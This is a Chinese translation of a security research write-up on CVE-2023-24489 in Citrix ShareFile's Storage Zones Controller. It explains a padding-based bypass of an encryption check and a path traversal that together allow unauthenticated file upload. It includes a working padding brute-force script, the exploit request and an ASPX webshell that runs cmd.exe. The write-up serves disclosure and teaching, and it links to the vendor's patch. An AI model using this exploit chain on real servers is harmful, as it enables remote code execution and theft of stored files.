1、概述
作为Assetnote安全研究的一部分,我们注意到的一件事是,某些类型的软件比其他类型的更富有成效。文件上传和远程访问软件就是最好的例子。在这篇文章中,我们看到的是前者,一个名为ShareFile的文件共享应用程序。在线搜索显示,大约有1000-6000个实例可以通过互联网访问。这种流行,再加上用于存储敏感数据的软件,意味着如果我们发现了什么,它可能会产生相当大的影响。
ShareFile是基于云的文件共享和协作应用程序。然而,它为用户提供了通过所谓的“存储区域连接器”将文件存储在自己的数据中心的选项。提供此功能的软件是一个在IIS下运行的.NET web应用程序,称为“存储区域控制器”(有时也称为Storage Center),这就是我们决定的目标。
通过我们的研究,我们能够利用一个看似无害的加密漏洞,实现未经验证的任意文件上传和完整的远程代码执行。Citrix已发布安全更新,并将此问题分配给CVE-2023-24489。
2、内容
在安装了Storage Zones Controller之后,迎接我们的是.NET web技术的混合。有多个.aspx文件、一些IIS子应用程序和一些MVC端点。我们从.aspx文件开始枚举,因为没有额外的工作来确定如何访问它们。缩小搜索范围的一个快速方法是列出webroot中以.aspx结尾的所有路径,并将此列表复制到枚举工具中。任何返回200的请求都是一个很好的起点。
'.*.aspx$' find . | grep -e
./sp/upload.aspx
./sp/upload-streaming-2.aspx
./documentum/upload.aspx
./documentum/upload-streaming-2.aspx
./upload-threaded-1.aspx
./ConfigService/SMTPConfig.aspx
./ConfigService/Login.aspx
./ConfigService/Admin.aspx
./ConfigService/Networking.aspx
./ConfigService/PreFlightCheck.aspx
./ConfigService/ImportConfigSettings.aspx
./ConfigService/UpdatePassphrase.aspx
./thumbnail.aspx
./upload-resumable-2.aspx
./upload-streaming-1.aspx
./WopiServer/HeartBeat.aspx
./upload-resumable-3.aspx
./cifs/upload.aspx
./cifs/upload-streaming-2.aspx
./heartbeat.aspx
./AdvancedStatus.aspx
./upload-singlechunk.aspx
./upload.aspx
./ProxyService/rest/storagecenter.aspx
./upload-resumable-1.aspx
./upload-streaming-2.aspx
./upload-threaded-3.aspx
./upload-threaded-2.aspx
./rest/queue.aspx
/documentum/upload.aspx页面引起了我们的注意。文件名意味着它用于上传文件,请求返回200。使/documentum/upload.aspx成为分析的绝佳候选者。我们使用dnSpy反编译了该页面的支持类DocumentumConnector.Uploaders.Upload,并开始查看源代码。
我们查看了源代码,发现该页面立即通过调用Auth.SetCurrentPrinicalFromSessionCookie从cookie设置当前主体。我们对此进行了研究,发现如果没有会话cookie,应用程序就会继续。所以,这不是真正的身份验证检查,也不是我们需要担心的事情。
public static void SetCurrentPrinicalFromSessionCookie()
{
HttpCookie httpCookie = HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"];
if (httpCookie != null)
{
string value = httpCookie.Value;
if (!string.IsNullOrEmpty(value) && HttpContext.Current.Cache[value] != null)
{
IPrincipal principal = (IPrincipal)HttpContext.Current.Cache[value];
HttpContext.Current.User = principal;
Thread.CurrentPrincipal = principal;
}
}
}
下一个安全检查是对parentid查询参数进行解密的检查。这是通过调用FileUtility.GetDecryptedFolderPathById来完成的。如果解密失败,则此方法的返回值为空字符串。这将导致返回错误并停止页面执行。
...
NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current);
text = keys["uploadid"];
text2 = keys["parentid"] ?? "";
if (text2.IsNullOrEmpty())
{
string text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);
LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);
ApiHelper.WriteError(text4);
base.Response.End();
}
if (string.IsNullOrEmpty(text))
{
text = Guid.NewGuid().ToString("n");
}
Upload.targetPath = FileUtility.GetDecryptedFolderPathById(text2);
if (Upload.targetPath.IsNullOrEmpty())
{
string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent id", Array.Empty<object>());
LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text5);
ApiHelper.WriteError(text5);
}
...
我们稍后将返回此方法,因为它是唯一能阻止在该页面上传琐碎匿名文件的方法。
简单路径遍历
最终,页面调用ProcessRawPostedFile,参数filename、uploadId和parentid来自查询参数。解密的parentid参数也通过Upload.targetPath成员变量存在。
private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files, Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded)
{
filename = Utils.SanitizeFilename(filename);
string text = string.Concat(new string[]
{
DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] { '/' }),
Path.DirectorySeparatorChar.ToString(),
"ul-",
uploadId,
Path.DirectorySeparatorChar.ToString()
});
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
string text2 = text + filename;
string text3 = Upload.targetPath + filename;
LogManager.WriteLog1(LogLevel.Normal, LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using new code={0}, Request.TotalBytes={1}", !DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements, base.Request.TotalBytes));
int totalBytes = base.Request.TotalBytes;
byte[] array = new byte[totalBytes];
Stream inputStream = base.Request.InputStream;
inputStream.Read(array, 0, totalBytes);
inputStream.Close();
FileStream fileStream = new FileStream(text2, FileMode.Create, FileAccess.ReadWrite);
fileStream.Write(array, 0, totalBytes);
fileStream.Close();
string text4 = null;
我们注意到文件名被清除了,但uploadId没有。这意味着当这两个值连接在一起时,路径遍历是可能的。我们还看到解密后的值Upload.targetPath与filename连接在一起,但结果从未使用过。类似地,parentid查询参数也会被传入,但也不会被使用。
string text3 = Upload.targetPath + filename;
在这个阶段,我们已经拥有了上传一个webshell所需的一切。但是,我们需要为parentid提供一个加密的值。否则,页面执行将始终在上传处理之前停止。我们找了硬编码的钥匙,但运气不好。因此,我们决定深入研究GetDecryptedFolderPathById的实现。我们很高兴我们发现了一个小错误,这意味着整个检查都可以绕过。
加密!=身份验证
加密本身不提供身份验证,也不保护消息不被篡改。加密只是一种数据转换。它获取一个字节流,并将它们转换为不同的字节流。如果使用了不正确的密钥,或者传入流“不正确”,则消息将被转换而不会出现问题。然而,无论是谁在阅读这条信息,都不会意识到它有任何意义。它将看起来是一个随机的字节流。
既然我们唯一的要求是结果不是空字符串,那么为什么检查会失败呢?对无效值进行解密应产生随机字节,该字节绝对不是空字符串。我们可以通过查看应用程序使用的加密类型来了解原因。
string text = string.Empty;
try
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, OnPremise._salt);
symmetricAlgorithm = Encryption.Wrapper.CreateAESObject();
symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8);
symmetricAlgorithm.IV = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8);
ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key, symmetricAlgorithm.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(encryptedKey)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
text = streamReader.ReadToEnd();
}
}
}
}
catch (Exception ex)
{
LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));
LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: n{0} n{1}", ex.Message, ex.StackTrace));
}
return text;
应用程序正在使用AES,如果引发异常,则不会设置返回值文本。如果未设置文本,我们的空字符串检查将始终失败。
分组密码和填充
为了理解AES可能抛出异常的原因,我们必须理解分组密码。AES使用具有128位(16字节)的固定块大小的块密码。这意味着AES只能对16字节块中的数据进行加密和解密。如果所有消息都是16字节的倍数,这是可以的,但对于其他消息则不可以。为了解决这个问题,在消息中添加了额外的数据,以确保它们的长度是16的倍数。这些额外的数据被称为“填充”。
对于.NET中的AES,默认填充模式是一个名为PKCS#7的方案。在这个方案中,添加的每个字节的值就是添加的字节总数。例如,给定以下9字节的消息。
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF
为了达到16个字节,添加了7个字节的填充,每个字节的值为0x07。
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07
在.NET中,填充是自动处理的,它是在消息加密和解密时添加的。这对开发人员来说非常棒,因为这意味着他们不需要担心填充。但是,在解密消息时,如果填充不符合方案,则会引发异常。这就是为什么我们的空字符串检查失败,应用程序抛出填充异常,导致返回值始终为空字符串。
我们现在知道了如何绕过检查。我们不需要找到完全正确的加密消息,只需要找到一个具有有效填充的消息。这要容易得多。具有有效填充的最简单消息是最后一个块有一个字节的填充。例如:
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01
由于每个字节的值都是随机的,并且我们只关心最后一个字节,因此平均而言,每256个随机生成的消息中就有1个将使用有效填充进行解密。我们可以强行这样做,但有一种更简单的方法可以利用块密码的另一个怪癖。
密码块链接
块密码本身的一个限制是相同的块将加密到相同的值。这是一个问题,因为它导致明文中存在的模式也存在于密文中。如果输出中存在模式,则很有可能会破坏加密。
为了克服这个问题,块密码使用引入随机化的“操作模式”来防止相同的块被加密到相同的值。.NET中的默认操作模式称为密码块链接(CBC)。
在CBC模式中,每个块都与先前加密的块“链接”在一起。这就是为什么AES有时需要初始化矢量(IV)的原因。IV是用于第一个块的值。在AES CBC模式中,通过将块的每个字节与前一块中的相应字节进行异或来进行链接。
下面的片段显示了加密是如何使用此方案的。
tempBlockZero = XorBlocks(plaintextBlocks[0], IV)
ciphertextBlocks[0] = EncryptBlock(tempBlockZero)
for n in range(1, numberOfBlocks):
tempBlock = XorBlocks(plaintextBlocks[n], ciphertextBlocks[n-1])
ciphertextBlocks[n] = EncryptBlock(tempBlock)
解密是相同的过程,但操作相反。
tempBlockZero = DecryptBlock(ciphertextBlocks[0])
plaintextBlocks[0] = XorBlocks(tempBlockZero, IV)
for n in range(1, numberOfBlocks):
tempBlock = DecryptBlock(ciphertextBlocks[n])
plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1])
对于我们的攻击,我们将需要至少两个块,因为我们无法控制IV。我们正在寻找满足以下条件的消息。
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0)
XOR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted)
= -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 01 our goal
我们不知道temp block的值是多少,但我们知道它不会改变。我们完全控制XX,并且由于XOR的工作方式,我们所需要做的就是迭代所有可能的值,直到我们找到一个当用temp块进行XORD时给出我们目标值的值。
由于有256个可能的值,因此我们平均需要尝试其中的一半。我们现在只需要发出约128个请求,并保证在256个请求之后正确猜测。
要查找具有有效填充的消息,我们将使用两个块。我们将改变第一个块的最后一个字节,其他所有内容保持不变。其他值是什么并不重要,只要它们保持不变。
如果我们得到错误“Invalid request method-get”,这意味着我们通过了解密部分并进行了下一次检查,以确保请求方法是POST。这对我们来说已经足够好了,因为我们只想在此阶段找到parentid的值。
for i in range(0, 256):
payload = [
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', i.to_bytes(1, byteorder='little'),
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', b'x41',
b'x41', b'x41', b'x41', b'x41'
]
payload = b''.join(payload)
payload = base64.b64encode(payload)
payload = urllib.parse.quote(payload, safe='')
url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)
r = requests.get(url, verify=False)
if r.status_code == 200:
if 'Invalid request method - GET' in r.text:
print('Valid padding: {}'.format(payload))
sys.exit(0)
else:
print('Invalid padding: {}'.format(payload))
我们可以在下面看到它的输出。
$ python3 padder.py
Invalid padding: QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBA0FBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBB0FBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE%3D
...
Invalid padding: QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBg0FBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBh0FBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE%3D
Valid padding: QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D
经过多次尝试,我们发现parentid的值没有引发填充异常。我们将其与路径遍历相结合,将.aspx文件上载到webroot中的可写目录。最后的要求如下。
POST /documentum/upload.aspx?parentid=QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D&raw=1&unzip=on&uploadid=x......cifs&filename=x.aspx HTTP/1.1
Host: example.com
Content-Length: 720
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd()));
Response.Write("</pre>");
}
string ExcuteCmd()
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c whoami";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
</script>
最后,我们请求上传的文件以查看我们努力工作的结果。
GET /cifs/x.aspx HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Cache-Control: private,no-store
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
Access-Control-Max-Age: 540
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Tue, 04 Jul 2023 04:32:24 GMT
Content-Length: 41
<pre>nt authoritynetwork service</pre>
3、我们学到了什么?
使用密码时要小心。容易犯细微的错误。我们审查的许多.NET代码都会犯同样的错误,但应用程序通常不易受到攻击,因为程序其余部分的编写方式很奇怪。
在这里,我们看到了一个可能被称为填充oracle攻击的实例。然而,我们不需要利用oracle来解密或加密任何东西,因此技术上比这简单。
我们可以猜出为什么这个错误如此普遍。CBC模式和PKCS#7填充是.NET中AES加密的默认值。此外,在线示例通常不会突出这些默认值的问题。在撰写本文时,“.NET AES encryption”的前五个搜索结果都使用了这些值,没有提到潜在的漏洞。
对于安全研究人员来说,请注意CBC模式加密。由于CBC是默认的,因此不难找到。查看在提供无效填充和有效填充时它的行为。它会导致错误吗?错误是否不同?处理时间是更长还是更短?所有这些都可能导致潜在的填充oracle攻击。
4、结论
在这篇文章中,我们看到了ShareFile中的一些小错误如何导致未经验证的文件上传,然后导致远程代码执行。尽管并非在所有配置中都启用了特定端点,但它在我们测试的主机中很常见。考虑到在线实例的数量和漏洞的可靠性,我们已经看到了该漏洞的巨大影响。要了解您是否受到影响,请查看Citrix的安全更新,其中包含哪些版本易受攻击以及如何升级的详细信息。
Citrix访问链接:https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
原文链接:https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce
原文始发于微信公众号(sahx安全从业记):加密并不意味着经过身份验证:ShareFile RCE(CVE-2023-24489)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论